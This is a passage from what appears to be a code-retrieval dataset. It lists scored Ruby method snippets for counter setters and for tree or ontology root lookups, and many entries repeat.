"0.49690515", "text": "def count=(count_value)\n reset_errors\n @count = count_value\n @until = nil unless @count.nil? || @by_list_hash\n end", "title": "" }, { "docid": "d960e3bc686483f46c6c7eb7d6f8ce8c", "score": "0.4964751", "text": "def count=(num)\n @@count = num\n end", "title": "" }, { "docid": "5d28925c191c295d98dd64a95a8e1540", "score": "0.49633053", "text": "def set_gene_count\n gene_count = self.expression_scores.pluck(:gene).uniq.count\n Rails.logger.info \"#{Time.now}: setting gene count in #{self.name} to #{gene_count}\"\n self.update!(gene_count: gene_count)\n end", "title": "" }, { "docid": "f70c3d579b17a3e0a81b1b01e72b2093", "score": "0.49601203", "text": "def include_count\n criteria_set[:inline_count] = true\n self\n end", "title": "" }, { "docid": "f70c3d579b17a3e0a81b1b01e72b2093", "score": "0.49601203", "text": "def include_count\n criteria_set[:inline_count] = true\n self\n end", "title": "" }, { "docid": "c71b7fa8f4e0d2fc980498a758cef747", "score": "0.4932655", "text": "def reset\n @count = @options[:zero]\n end", "title": "" }, { "docid": "68779f7d18e3dd883998ab609dd88c6d", "score": "0.49269912", "text": "def count_ar_instances=(value)\n @count_ar_instances = !!value\n end", "title": "" }, { "docid": "75c2d01d6105a85fd91b8f0deaa75b0b", "score": "0.49195662", "text": "def change_scientist_count!(count)\n ensure_free_scientists!(- count) if count < 0\n\n self.scientists += count\n self.scientists_total += count\n self.save!\n end", "title": "" }, { "docid": "2b624bbdda081a6d829c3ecb7af5a0de", "score": "0.4919345", "text": "def non_ace_count\n c = @count\n @aces.times{ c -= 11 }\n c\n end", "title": "" }, { "docid": "6dc1f4aca303f9945a10791d8c6a86db", "score": "0.48882154", "text": "def count=(value)\n if value == @defaults['count']\n @values.delete 'count' if @values.key? 'count'\n else\n @values['count'] = value\n end\n end", "title": "" }, { "docid": "6dc1f4aca303f9945a10791d8c6a86db", "score": "0.48882154", "text": "def count=(value)\n if value == @defaults['count']\n @values.delete 'count' if @values.key? 'count'\n else\n @values['count'] = value\n end\n end", "title": "" }, { "docid": "3c31e5d836c0f35ec783089ce6c38e29", "score": "0.487111", "text": "def add_to_smoking_counter(count)\n self.increment!(:counted, count - self.counted)\n end", "title": "" }, { "docid": "f759ff8522873e79abc73a9614d4d5e3", "score": "0.48613086", "text": "def class_wheel_count=(number_of_wheels)\n \n # Ideally there must be a lock mechanism to prevent other instances \n # from accessing @@wheel_count at the same time.\n @@wheel_count = number_of_wheels\n end", "title": "" }, { "docid": "62affe02b5963b10765036d08c949917", "score": "0.4860814", "text": "def reset_failed_logins_count!(user, _credentials)\n user.sorcery_adapter.update_attribute(user_class.sorcery_config.failed_logins_count_attribute_name, 0)\n end", "title": "" }, { "docid": "5d799aa126ae616bcd39e51395b12c40", "score": "0.4847999", "text": "def remediated_user_count=(value)\n @remediated_user_count = value\n end", "title": "" }, { "docid": "14486fb5fd816adca441d31e88099b65", "score": "0.48457068", "text": "def assigned_trainings_count=(value)\n @assigned_trainings_count = value\n end", "title": "" }, { "docid": "37a02f60990ca61e9ed8633f769a67ae", "score": "0.48331538", "text": "def single_sided_sheet_count=(value)\n @single_sided_sheet_count = value\n end", "title": "" }, { "docid": "1edc0e28a802733f26dd6e571875740b", "score": "0.48323634", "text": "def disperse_count\n @disperse_count\n end", "title": "" }, { "docid": "6f4d981cf16f540f2f48aab8371210db", "score": "0.48319122", "text": "def unindexed_item_count=(value)\n @unindexed_item_count = value\n end", "title": "" }, { "docid": "91932053fea4c8143eff4390c0e8f23c", "score": "0.48175612", "text": "def repeat_offence_count\n return @repeat_offence_count\n end", "title": "" }, { "docid": "b193e9a60978cb25ebb40aab08666267", "score": "0.47996968", "text": "def reset_rule_counts\n rules_collection.rules.each(&:reset_counter)\n end", "title": "" }, { "docid": "6a887f946fc41164b944ef007a47a226", "score": "0.4787002", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "6a887f946fc41164b944ef007a47a226", "score": "0.4787002", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "6a887f946fc41164b944ef007a47a226", "score": "0.4787002", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "6a887f946fc41164b944ef007a47a226", "score": "0.4787002", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "6a887f946fc41164b944ef007a47a226", "score": "0.4787002", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "6a887f946fc41164b944ef007a47a226", "score": "0.4787002", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "6a887f946fc41164b944ef007a47a226", "score": "0.4787002", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "6a887f946fc41164b944ef007a47a226", "score": "0.4787002", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "6a887f946fc41164b944ef007a47a226", "score": "0.4787002", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "6a887f946fc41164b944ef007a47a226", "score": "0.4787002", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "6a887f946fc41164b944ef007a47a226", "score": "0.4787002", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "6a887f946fc41164b944ef007a47a226", "score": "0.4787002", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "e370d89f9969314f1918d4344b248e1d", "score": "0.47829318", "text": "def set_number_of_sessions\n self.number_of_sessions = schedule.occurrences(end_date).count\n end", "title": "" }, { "docid": "d0bf1c425234ed756e7498546dd45ec8", "score": "0.47760087", "text": "def reaper_count\n config.reaper_count\n end", "title": "" }, { "docid": "d0bf1c425234ed756e7498546dd45ec8", "score": "0.47760087", "text": "def reaper_count\n config.reaper_count\n end", "title": "" }, { "docid": "13a813b08ec63700e93038762bc7ba37", "score": "0.4773861", "text": "def set_gene_count\n gene_count = self.genes.pluck(:name).uniq.count\n Rails.logger.info \"Setting gene count in #{self.name} to #{gene_count}\"\n self.update(gene_count: gene_count)\n end", "title": "" }, { "docid": "e2e1eccc27d708452679f159283f4042", "score": "0.4765997", "text": "def reset\n @rollValue = 0\n end", "title": "" }, { "docid": "8c0128aa12fb7b1ceea687aca68a3455", "score": "0.47627255", "text": "def resetCount\n VoteCount.all.update_all(count: 0)\n Vote.all.destroy\n end", "title": "" }, { "docid": "82580c956fc9aef3a2a4cc6f2f115b7f", "score": "0.4758892", "text": "def double_sided_sheet_count=(value)\n @double_sided_sheet_count = value\n end", "title": "" }, { "docid": "241b40597140600a298e41f37a11abf0", "score": "0.4753623", "text": "def update_count\n\t\tself.count += 1\n\t\ttrue\n\tend", "title": "" }, { "docid": "6a38c2b39e6670c5df247f60f7d48835", "score": "0.4738901", "text": "def set_number_of_post_fails(fail_count)\n @remaining_fail_count = fail_count\n end", "title": "" }, { "docid": "fd440d4042804b439f455e25ab9f18cc", "score": "0.47264045", "text": "def count(count)\n raise ArgumentError.new('Argument must be a positive integer') unless Integer(count) && count >= 0\n @occurrence_count = count\n self\n end", "title": "" }, { "docid": "c74344a6fdffedba112cb75e27148e71", "score": "0.47250888", "text": "def simulation_count=(value)\n @simulation_count = value\n end", "title": "" }, { "docid": "c1643e6c57e5cf32b4c4d65238acafd2", "score": "0.47242972", "text": "def update_kases_count\n if self.class.kases_count_column?\n self.update_attribute(:kases_count, \n self[:kases_count] = self.kases.count(\"kases.id\", Kase.find_options_for_visible({:distinct => true})))\n self[:kases_count]\n end\n end", "title": "" }, { "docid": "c1643e6c57e5cf32b4c4d65238acafd2", "score": "0.47242972", "text": "def update_kases_count\n if self.class.kases_count_column?\n self.update_attribute(:kases_count, \n self[:kases_count] = self.kases.count(\"kases.id\", Kase.find_options_for_visible({:distinct => true})))\n self[:kases_count]\n end\n end", "title": "" }, { "docid": "54ea5f6dac8726d3ee67a761cb9acb13", "score": "0.47062415", "text": "def set_historical_version_count(count)\n @historical_version_count = count\n end", "title": "" }, { "docid": "418ef1a2bc738ed8d411a351410f9b19", "score": "0.4704772", "text": "def clear\n @count.value = 0\n end", "title": "" }, { "docid": "418ef1a2bc738ed8d411a351410f9b19", "score": "0.4704772", "text": "def clear\n @count.value = 0\n end", "title": "" }, { "docid": "c6b3c7767489bf89c2c43c5c0275910a", "score": "0.47024345", "text": "def count=(count)\n if count.nil?\n fail ArgumentError, 'invalid value for \"count\", count cannot be nil.'\n end\n @count = count\n end", "title": "" }, { "docid": "2426b04dc1165cfcf4d34eea0d4e706f", "score": "0.46855995", "text": "def update_kases_count\n if self.class.kases_count_column?\n self.update_attribute(:kases_count, \n self[:kases_count] = self.kases_count(true))\n self[:kases_count]\n end\n end", "title": "" }, { "docid": "1c6cf45df886fae1190f0cfc9dd6fa60", "score": "0.4680452", "text": "def cold_count=(value)\n @cold_count = value\n end", "title": "" }, { "docid": "28ba07dda3070f753a4c1bacdd84159b", "score": "0.4668016", "text": "def count!\n @calculations[:count] = @adapter.method(:count)\n end", "title": "" }, { "docid": "dd865231e09ea25e6a7bee24c61ee467", "score": "0.46660662", "text": "def non_compliant_user_count=(value)\n @non_compliant_user_count = value\n end", "title": "" }, { "docid": "ba23d6aa43d0d07c990ebcd31c9c9970", "score": "0.46653086", "text": "def site_count=(value)\n @site_count = value\n end", "title": "" }, { "docid": "76ba206d7417e349a070ab0869ee7eff", "score": "0.46638307", "text": "def set_retry_attempts(count)\n self._retry_delays = nil\n self._retry_attempts = count == :clear ? nil : Integer(count)\n end", "title": "" }, { "docid": "17837d8f7af166d4cbc94e392a6119f6", "score": "0.46486223", "text": "def fixed_count=(fixed_count)\n\n if !fixed_count.nil? && fixed_count < 1\n fail ArgumentError, \"invalid value for 'fixed_count', must be greater than or equal to 1.\"\n end\n\n @fixed_count = fixed_count\n end", "title": "" }, { "docid": "f6d2e0c1efde8b37782496c076d4b656", "score": "0.4644724", "text": "def reset_failed_logins_count!(user, _username, _password, _options)\n user.sorcery_orm_adapter.update_attribute(\n user_class.sorcery_config.failed_logins_count_attr_name,\n 0\n )\n end", "title": "" }, { "docid": "95e9fae6c735e7ffb62ce4133cf170db", "score": "0.46425512", "text": "def number_of_occurrences=(value)\n @number_of_occurrences = value\n end", "title": "" }, { "docid": "1e75091f4363bab71772db51acec9143", "score": "0.46420413", "text": "def reset_checks\n @count = 0\n end", "title": "" }, { "docid": "843b825a4f3fd39e59c2b72668ac4245", "score": "0.46330953", "text": "def count\n @values.fetch('count') { \n @values['count'] = nil\n }\n end", "title": "" }, { "docid": "843b825a4f3fd39e59c2b72668ac4245", "score": "0.46330953", "text": "def count\n @values.fetch('count') { \n @values['count'] = nil\n }\n end", "title": "" }, { "docid": "6c924703b32fabb4a477de6b4aaee6cb", "score": "0.46300715", "text": "def set_count_on_hand(value)\n store_out_of_stock if value == 0\n return original_set_count_on_hand(value)\n end", "title": "" }, { "docid": "fe1330396ed96930a26d18ef6e7d0c0f", "score": "0.46237794", "text": "def set_maximum_link_over_limit_count\n super\n end", "title": "" }, { "docid": "ce808fc05b4f5f07373e1f3af6246e7e", "score": "0.46216568", "text": "def set_login_count\n self.login_count = 0\n self.save!\n end", "title": "" }, { "docid": "6c56ab9b59b397dba63aebc0b658b4a2", "score": "0.46086037", "text": "def limit_results_to(count)\n @limit = count\n end", "title": "" }, { "docid": "a605d12a45cd9f099a0bd63f62d87d34", "score": "0.46052822", "text": "def strike_count()\r\n @strikes += 1\r\n if @strikes === 3\r\n puts \"Strikeout!\"\r\n @outs += 1\r\n reset()\r\n end\r\n end", "title": "" }, { "docid": "a2a288cde7334ddf2df94ea0a8a21093", "score": "0.45912516", "text": "def remediated_device_count=(value)\n @remediated_device_count = value\n end", "title": "" }, { "docid": "a2a288cde7334ddf2df94ea0a8a21093", "score": "0.45912516", "text": "def remediated_device_count=(value)\n @remediated_device_count = value\n end", "title": "" }, { "docid": "a2a288cde7334ddf2df94ea0a8a21093", "score": "0.45912516", "text": "def remediated_device_count=(value)\n @remediated_device_count = value\n end", "title": "" }, { "docid": "d9219879c8019ac04bb6c86f0eff46ed", "score": "0.45909244", "text": "def update_count(val)\n if val == :A\n @aces = @aces + 1\n @count = @count + 11\n else\n @count = @count + val\n end\n @count = correct_for_aces\n end", "title": "" }, { "docid": "915ebb14c110e91a1673a8a23355dbbb", "score": "0.45820957", "text": "def nume=(nume)\n @nume = nume\n end", "title": "" }, { "docid": "f3b88d89a0dad8feb9ee4ba5f40bda9d", "score": "0.4580249", "text": "def reset_rtd_count\n @rtd_count = 0\n end", "title": "" }, { "docid": "f76fd4fdd5fc5e809e1e2b3ea22a457a", "score": "0.45783725", "text": "def counted!\n update(:counted => '1')\n events.clear\n true\n end", "title": "" }, { "docid": "8ffe84278dfb86f6c5fb2097b2a8ec4a", "score": "0.45779786", "text": "def adjust_series_restriction\n unless self.series.blank?\n self.series.each {|s| s.adjust_restricted }\n end\n end", "title": "" }, { "docid": "ea1ffb6b67780393666702ed9d383c07", "score": "0.45766616", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "ea1ffb6b67780393666702ed9d383c07", "score": "0.45766616", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "ea1ffb6b67780393666702ed9d383c07", "score": "0.45766616", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" }, { "docid": "ea1ffb6b67780393666702ed9d383c07", "score": "0.45766616", "text": "def set_Count(value)\n set_input(\"Count\", value)\n end", "title": "" } ]
e5ef66ab0eb0044626c86212635ec0f7
Returns the root term for this ontology.
[ { "docid": "abeae1d5c3aa8fcb62fc5982b6bbf36c", "score": "0.0", "text": "def root\n root = self\n root = root.parents.first while !root.is_root?\n root\n end", "title": "" } ]
[ { "docid": "91acabfebdd99cca8eb047e068259951", "score": "0.74576336", "text": "def root_word\n _root_word\n end", "title": "" }, { "docid": "79c11b12092ff20bc21e135588519e1a", "score": "0.72937536", "text": "def root_terms\n unit.root_terms\n end", "title": "" }, { "docid": "79c11b12092ff20bc21e135588519e1a", "score": "0.72937536", "text": "def root_terms\n unit.root_terms\n end", "title": "" }, { "docid": "506d5d2920f7bc17196a088e7422a9a4", "score": "0.6980833", "text": "def root_terms\n self.document.terminology.terms\n end", "title": "" }, { "docid": "eef9c4f04e9494d4de7e6651a370a177", "score": "0.6962812", "text": "def root_terms\n if terminal?\n [self]\n else\n atom.scale.root_terms.map do |t|\n self.class.new(:atom => t.atom, :exponent => t.exponent * exponent)\n end\n end\n end", "title": "" }, { "docid": "b72e1f53a23b02b55f725a92f16f5430", "score": "0.69600505", "text": "def root_terms\n if terminal?\n [self]\n else\n atom.scale.root_terms.map do |t|\n self.class.new(atom: t.atom, exponent: t.exponent * exponent)\n end\n end\n end", "title": "" }, { "docid": "37062b1d61098f2a7df294cf2730a4a8", "score": "0.69075155", "text": "def root_terms\n base? ? [Term.new(:atom_code => primary_code)] : scale.root_terms\n end", "title": "" }, { "docid": "d294c97489a7bafec07d1e03b3fddd9e", "score": "0.69052994", "text": "def root\n return @root\n end", "title": "" }, { "docid": "d294c97489a7bafec07d1e03b3fddd9e", "score": "0.69052994", "text": "def root\n return @root\n end", "title": "" }, { "docid": "d294c97489a7bafec07d1e03b3fddd9e", "score": "0.69052994", "text": "def root\n return @root\n end", "title": "" }, { "docid": "5c394b21d1d5594ec1ec835589628352", "score": "0.68550444", "text": "def term\n @node[\"term\"]\n end", "title": "" }, { "docid": "ff3ce3c6304a53a53ba6bd2ec005b80f", "score": "0.68516403", "text": "def root\n if !defined?(@root)\n @root = TreeNode.new(nil, 'KRoot'){|_node|\n _node.rif= 'root'\n _node.label=''\n }\n end\n return @root\n end", "title": "" }, { "docid": "95c862ccd0fc219ed2f1b29babffb096", "score": "0.6803514", "text": "def root_terms\n terms.values.select {|term| term.is_root_term? }\n end", "title": "" }, { "docid": "4e7abb3fb71f59f47bcc5809e5410e67", "score": "0.6750703", "text": "def get_root()\n @root\n end", "title": "" }, { "docid": "c7934f03a32971e6d8ad56b100b1236f", "score": "0.67400813", "text": "def root_node\n @root_node ||= Node.new(@root)\n end", "title": "" }, { "docid": "403d1175316be033936affd177ec046f", "score": "0.67280596", "text": "def root\n @root ||= documents.first.try(:_root)\n end", "title": "" }, { "docid": "ac3cb5cfae37d3559333f2e9c15b0498", "score": "0.67041457", "text": "def root\n roots.first\n end", "title": "" }, { "docid": "ac3cb5cfae37d3559333f2e9c15b0498", "score": "0.67041457", "text": "def root\n roots.first\n end", "title": "" }, { "docid": "ac3cb5cfae37d3559333f2e9c15b0498", "score": "0.67041457", "text": "def root\n roots.first\n end", "title": "" }, { "docid": "2ee554d1171fc6d71c9856a347e0ef2c", "score": "0.66934276", "text": "def root\n roots.first\n end", "title": "" }, { "docid": "87325f0bb21b5f881c40a9cca20e4769", "score": "0.6688554", "text": "def root\n self[:root]\n end", "title": "" }, { "docid": "0f7bd2487f1067ea3e1cfcb18001ed35", "score": "0.66877687", "text": "def root\n unless @narrowed\n @narrowed = true\n @root = narrow\n end\n @root\n end", "title": "" }, { "docid": "2844b955fd317824eb1cfe87bf34e4d5", "score": "0.6637788", "text": "def root\n read_attr :root\n end", "title": "" }, { "docid": "2844b955fd317824eb1cfe87bf34e4d5", "score": "0.6637788", "text": "def root\n read_attr :root\n end", "title": "" }, { "docid": "e318b9b2993f6db3fa319c721e31ad25", "score": "0.6580018", "text": "def root_terms\n terms.map(&:root_terms).flatten\n end", "title": "" }, { "docid": "12dd010f8d9c363a9825f9cb9479fe71", "score": "0.65504164", "text": "def root\n @root\n end", "title": "" }, { "docid": "12dd010f8d9c363a9825f9cb9479fe71", "score": "0.65504164", "text": "def root\n @root\n end", "title": "" }, { "docid": "12dd010f8d9c363a9825f9cb9479fe71", "score": "0.65504164", "text": "def root\n @root\n end", "title": "" }, { "docid": "12dd010f8d9c363a9825f9cb9479fe71", "score": "0.65504164", "text": "def root\n @root\n end", "title": "" }, { "docid": "12dd010f8d9c363a9825f9cb9479fe71", "score": "0.65504164", "text": "def root\n @root\n end", "title": "" }, { "docid": "12dd010f8d9c363a9825f9cb9479fe71", "score": "0.65504164", "text": "def root\n @root\n end", "title": "" }, { "docid": "b637add5dcec985b22de285595da5c4d", "score": "0.6532779", "text": "def root\n @namespace.root\n end", "title": "" }, { "docid": "53addd0bcfd57ea817974cdc71349069", "score": "0.65169424", "text": "def root\n @root.to_s\n end", "title": "" }, { "docid": "53addd0bcfd57ea817974cdc71349069", "score": "0.65169424", "text": "def root\n @root.to_s\n end", "title": "" }, { "docid": "fc2116cfb270bd3059095cb0ba5ecc5e", "score": "0.6515178", "text": "def root\n roots.find(:first)\n end", "title": "" }, { "docid": "c8ff207305fc0002300f0283c001b637", "score": "0.65150255", "text": "def root\n roots.first\n end", "title": "" }, { "docid": "be2fd30eeeb8519bf1f692b8d0c45f70", "score": "0.65128976", "text": "def root\n @root ||= @tokens.shift[:args][0][1]\n end", "title": "" }, { "docid": "71313799b0d25c2cee68f44ccdb8d877", "score": "0.6503309", "text": "def root\n return @root\n end", "title": "" }, { "docid": "fc5036c9a2a428ee67561cab176a7a64", "score": "0.648832", "text": "def root\n @root ||= NodeProxy.new(@doc.root) if @doc && @doc.root\n end", "title": "" }, { "docid": "fc5036c9a2a428ee67561cab176a7a64", "score": "0.648832", "text": "def root\n @root ||= NodeProxy.new(@doc.root) if @doc && @doc.root\n end", "title": "" }, { "docid": "fc5036c9a2a428ee67561cab176a7a64", "score": "0.648832", "text": "def root\n @root ||= NodeProxy.new(@doc.root) if @doc && @doc.root\n end", "title": "" }, { "docid": "fca4307840046dfe04040dc93a49f6e0", "score": "0.64870864", "text": "def term\n return @term\n end", "title": "" }, { "docid": "fca4307840046dfe04040dc93a49f6e0", "score": "0.64870864", "text": "def term\n return @term\n end", "title": "" }, { "docid": "495b6b663d462b3e86a27d2bfe775154", "score": "0.6480655", "text": "def root\r\n @rootNode.root()\r\n end", "title": "" }, { "docid": "9002e080b1f26830d5000e93291b0aa0", "score": "0.64696854", "text": "def root\n @root.children[0]\n end", "title": "" }, { "docid": "680d3be39939f00a377ca2bac3935f87", "score": "0.6466801", "text": "def root\n namespaces[Namespace::ROOT_PATH]\n end", "title": "" }, { "docid": "0ebaa80604a88992474674e07aab2816", "score": "0.6450305", "text": "def root\n @root ||= fetch(:root)\n end", "title": "" }, { "docid": "16f2a90825c5c21ccc9692ea678fdc27", "score": "0.6450003", "text": "def root\n get_class.first(root_hash.merge(:lft.lt => lft, :rgt.gt => rgt))\n end", "title": "" }, { "docid": "8b6d79b0388c278de7ab39a0e8d912fa", "score": "0.6416659", "text": "def root\n @root ||= Pathname.new(self[\"root\"])\n end", "title": "" }, { "docid": "403ad2552316ae4edc2bd3d71a906106", "score": "0.6401661", "text": "def root\n subject.root(node)\n end", "title": "" }, { "docid": "60e20d31fbbb8e6ef3b7796c1ca58692", "score": "0.6379372", "text": "def root\n @root.to_s\n end", "title": "" }, { "docid": "b740169477b490bf54d837a3d79432d4", "score": "0.6373404", "text": "def root_terms(ontology)\n root_terms = []\n\n if @cached_ontologies.keys.include? ontology\n root_terms = @cached_ontologies[ontology][:root_terms].map { |term_id| self.find_by_id(term_id) }\n end\n\n root_terms\n end", "title": "" }, { "docid": "a737a1533e81b751e3a738805e356bfd", "score": "0.63588953", "text": "def root\n raise RootMissing, \"Root not configured\" if @root.nil?\n @root\n end", "title": "" }, { "docid": "6f7b143292d6d94282e1cdb7034f73ea", "score": "0.63387144", "text": "def root\n raise RootPathUnknownError unless @root\n @root\n end", "title": "" }, { "docid": "b57cc13248996fe1ce900b2be660801e", "score": "0.63265616", "text": "def root(name=nil)\n @root = name.to_sym if name\n # The first rule in a grammar is the default root.\n @root || rule_names.first\n end", "title": "" }, { "docid": "2c03835208c4e50a1133e227b662af81", "score": "0.6317582", "text": "def root_node\n return constant_segments.first\n end", "title": "" }, { "docid": "78376e9d148043ee19deddf30c658e69", "score": "0.6306344", "text": "def root\n\t\t\t@dom.each do |node|\n\t\t\t\treturn node if not node.is_a? Rind::DocType\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "b557fce3a53abec8cc94a54a59d10bc6", "score": "0.6284239", "text": "def root(name=nil)\n @root = name.to_sym if name\n # The first rule in a grammar is the default root.\n @root || rule_names.first\n end", "title": "" }, { "docid": "e0091d1226e8431163e240a131f81381", "score": "0.62803614", "text": "def root!\n root.__object\n end", "title": "" }, { "docid": "c8794462e69e522252c82343e2c35a3b", "score": "0.6268202", "text": "def root\n self\n end", "title": "" }, { "docid": "08372e5d5dbdd1144ca44ce870b34580", "score": "0.62356037", "text": "def root\n @root ||= start\n end", "title": "" }, { "docid": "5f1eba39250850c9166f711c1b88ea2a", "score": "0.6225198", "text": "def root\n @root ||= Related::Root.new\n end", "title": "" }, { "docid": "e21b9884dbf4a0b4e916e13f1ca4901a", "score": "0.62195235", "text": "def root\n Node::Literal.build(input)\n end", "title": "" }, { "docid": "3887faca2868125c5b41671ac6087967", "score": "0.6217672", "text": "def root\n fetch(:root)\n end", "title": "" }, { "docid": "05b7650287ddcacd27f8e0ac8c49e0f7", "score": "0.62158585", "text": "def root_terms(ontology)\n root_terms = []\n root_terms = @cache.root_terms(ontology) if using_cache?\n\n if root_terms.empty?\n response = request(:get_root_terms) { soap.body = { :ontologyName => ontology } }\n\n if response[:item].is_a? Array\n response[:item].each do |term|\n root_terms.push( OLS::Term.new(term[:key],term[:value]) )\n end\n else\n term = response[:item]\n root_terms.push( OLS::Term.new(term[:key],term[:value]) )\n end\n end\n\n root_terms\n end", "title": "" }, { "docid": "36034dd57878b4ee7afe3c99e8d47a88", "score": "0.6185854", "text": "def root\n nested_set.first\n end", "title": "" }, { "docid": "6cd7ebb0d963e0d2054a6352bce97667", "score": "0.61845475", "text": "def root\n @root ||= find_by_type(2)\n end", "title": "" }, { "docid": "f78e66e25347156a2a76524ec1b2d582", "score": "0.6178479", "text": "def root_node\n node = self\n\n loop do\n if !node.is_a?(Document) and node.node_set\n node = node.node_set.owner\n else\n break\n end\n end\n\n return node\n end", "title": "" }, { "docid": "6f2287f0bb77b4aa65bf806ab03f7e7c", "score": "0.6145793", "text": "def root\n root? ? self : self.class.find(root_id)\n end", "title": "" }, { "docid": "4a503f098ac58b80ded8364a12691aaf", "score": "0.6129455", "text": "def root_node\n parent.nil? ? self : parent.root_node\n end", "title": "" }, { "docid": "4a503f098ac58b80ded8364a12691aaf", "score": "0.6129455", "text": "def root_node\n parent.nil? ? self : parent.root_node\n end", "title": "" }, { "docid": "ee24bc5817f2e87a600d053e3fbc4c18", "score": "0.61253923", "text": "def root\n @root.val\n end", "title": "" }, { "docid": "c0cf1d19379068e971cb30693521bbe1", "score": "0.6117391", "text": "def term_name\n return @term_name if @term_name \n xpath = \"/String\"\n @term_name = @node.find_first(@term_root_path + xpath).content\n return @term_name\n end", "title": "" }, { "docid": "46736beb80412c5f7d5ae0c586eecf6c", "score": "0.6117381", "text": "def root\n self\n end", "title": "" }, { "docid": "a39c33a231e0ee97f926742094fc2ccf", "score": "0.61058474", "text": "def root\n ancestors.first\n end", "title": "" }, { "docid": "88d54eb9dfa2ca2401587076d415fb13", "score": "0.6092089", "text": "def root\n \"#{@root_letter}#{@root_accidental}\"\n end", "title": "" }, { "docid": "bebbbe3a790ef7ba359f570252c5be11", "score": "0.6038735", "text": "def root\n ancestors.last || self\n end", "title": "" }, { "docid": "a97a4da71f86d6af5dba729f30b67ad0", "score": "0.60278565", "text": "def root\n @root ||= Resource.new(self, '', options)\n end", "title": "" }, { "docid": "4fccacf736bf59aa18cbf6853d85c8f1", "score": "0.6008285", "text": "def root ( order_options = {} )\n roots = self.roots( order_options )\n if ( roots.size > 0 )\n roots[0]\n else\n nil\n end\n end", "title": "" }, { "docid": "1b05d077d171b1002872c1ba9e96e45c", "score": "0.60064846", "text": "def root_field\n @root_field\n end", "title": "" }, { "docid": "43abbe062d95f6247cb6ec16d7ac6377", "score": "0.60044104", "text": "def root\n @root ||= parent ? parent.root : self\n end", "title": "" }, { "docid": "bd260b1d7d0840f23cea55af1ea6359e", "score": "0.5984573", "text": "def root_key\n identifier.root_key\n end", "title": "" }, { "docid": "bd260b1d7d0840f23cea55af1ea6359e", "score": "0.5984573", "text": "def root_key\n identifier.root_key\n end", "title": "" }, { "docid": "014a4bfab4bb6836d32d6e608b9f8218", "score": "0.5981242", "text": "def root\n @nodestack.last\n end", "title": "" }, { "docid": "ebe01ffaafa167ab13f8a258ed94843e", "score": "0.5967025", "text": "def term\n @app.term\n end", "title": "" }, { "docid": "51b6552bac0e9502e94ce7ceac630a1c", "score": "0.59645575", "text": "def root_node\n if @root_node.nil?\n if self.xml_document.nil?\n return nil\n end\n @root_node = self.xml_document.root\n end\n return @root_node\n end", "title": "" }, { "docid": "aca7e798e76ebe5e437f7f1f85cc33f7", "score": "0.5961161", "text": "def root\n @levels[-1].first\n end", "title": "" }, { "docid": "aa8a7365053938d160caed7d3a1d5709", "score": "0.59561235", "text": "def term\n @term\n end", "title": "" }, { "docid": "3c6a4404b9bf377234a2c95f4f4c708c", "score": "0.594243", "text": "def root\n if context.root? then\n @value\n else\n up.root\n end\n end", "title": "" }, { "docid": "3e4b43bfd4e2b59588d4cb0d6f4f6f70", "score": "0.59382355", "text": "def root\n Token.new(@py_span.root)\n end", "title": "" }, { "docid": "fe9a28fb4fb55ef2199429d71f867410", "score": "0.59298706", "text": "def root\n node = self\n node = node.parent while node.parent\n node\n end", "title": "" }, { "docid": "fe9a28fb4fb55ef2199429d71f867410", "score": "0.59298706", "text": "def root\n node = self\n node = node.parent while node.parent\n node\n end", "title": "" }, { "docid": "e3902be1422a7fd263e5c454fb72258e", "score": "0.59215814", "text": "def root\n return elements[1] if self.kind_of? Document\n return self if parent.kind_of? Document or parent.nil?\n return parent.root\n end", "title": "" }, { "docid": "0c7d8b25fd11c0de4834522e6ae750d2", "score": "0.59121305", "text": "def root\n node = self\n node = node.parent while node.parent\n node\n end", "title": "" }, { "docid": "1b045bccdf8d1dd0aaadf1b2b4064e14", "score": "0.59100044", "text": "def root\n return self if root?\n\n parent.root\n end", "title": "" }, { "docid": "c7b002320c0fb8c0e56a7fa2723dc0b5", "score": "0.59063053", "text": "def taxa\n return @root.taxa\n end", "title": "" }, { "docid": "3f86d70a539c30173e2aa7291ef0d9f0", "score": "0.59045035", "text": "def root\n self_and_ancestors.last\n end", "title": "" }, { "docid": "9f9e5babee4e7ffec4043bfe25614a6d", "score": "0.5894846", "text": "def root\n unless !instance_variable_defined?(:@nodes) || @nodes.nil?\n @nodes.each do |n|\n return n if n.is_a?(::Ox::Element)\n end\n end\n nil\n end", "title": "" }, { "docid": "545dd02bcfd30cd4b511df4cadf79f56", "score": "0.5891652", "text": "def root\n Pathname.new(RADIANT_ROOT) if defined?(RADIANT_ROOT)\n end", "title": "" }, { "docid": "862e61ce6c3de9640c61e44a9604ffab", "score": "0.5888166", "text": "def root opts, &block\n @schema = opts.fetch(:schema,nil)\n opts.select {|k,v| k.to_s.include?(\"xmlns\")}.each do |ns_pair|\n @namespaces[ns_pair.first.to_s] = ns_pair.last\n if ns_pair.first.to_s == \"xmlns\"\n @namespaces[\"oxns\"] = ns_pair.last\n end\n end\n path = opts.fetch(:path,:root).to_s.sub(/[_!]$/, '')\n root_term_builder = OM::XML::Term::Builder.new(path).tap do |t|\n t.root_term= true\n end\n term_opts = opts.dup\n term_opts.delete(:schema)\n root_term_builder.settings.merge!(term_opts)\n @term_builders[root_term_builder.name] = root_term_builder\n\n return root_term_builder\n end", "title": "" }, { "docid": "216911c5c09950ad37570f6e659ef89c", "score": "0.58870214", "text": "def root_symbol\n 